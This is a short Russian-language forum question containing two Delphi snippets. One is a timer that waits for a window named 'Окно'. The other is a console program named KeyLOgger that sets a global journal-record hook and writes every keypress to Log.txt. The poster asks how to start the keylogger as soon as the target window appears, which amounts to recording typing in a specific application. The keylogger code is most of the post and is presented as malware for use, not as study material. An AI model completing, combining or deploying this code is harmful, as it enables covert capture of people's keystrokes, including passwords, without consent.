Вот есть 2 кода нужно чтобы 2 запускался как только "Окно" будет найдено...
| Код | procedure TForm1.Timer1Timer(Sender: TObject); var wnd: hwnd; begin wnd:= FindWindow(nil, Окно'); if wnd > 0 then begin timer1.Enabled:=false; ShowMessage('wnd exist'); end else timer1.Enabled:=true; end; end.
|
Вот это должно выполняться при условии если "Окно" найдено
| Код | program KeyLOgger; {$APPTYPE CONSOLE}
uses Windows, Messages;
var Mess: TMsg; Hook: hHook; Wnd: hWnd; Wrote: DWORD;
function HookProc(Code: Integer; WParam: Word; LParam: LongInt): LongInt; stdcall; var Msg: PEventMsg; LogChar: Char; begin if Code >= 0 then begin Result := 0; Msg := Pointer(LParam); LogChar := Chr(Msg.paramL); if Msg.message = WM_KEYDOWN then WriteFile(Wnd, LogChar, 1, Wrote, nil); end else Result := CallNextHookEx(Hook, Code, WParam, LParam); end;
begin
Wnd := CreateFile('Log.txt', GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, FILE_FLAG_OVERLAPPED); Hook := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0);
while GetMessage(Mess, 0, 0, 0) do begin TranslateMessage(Mess); DispatchMessage(Mess); end;
end.
|
|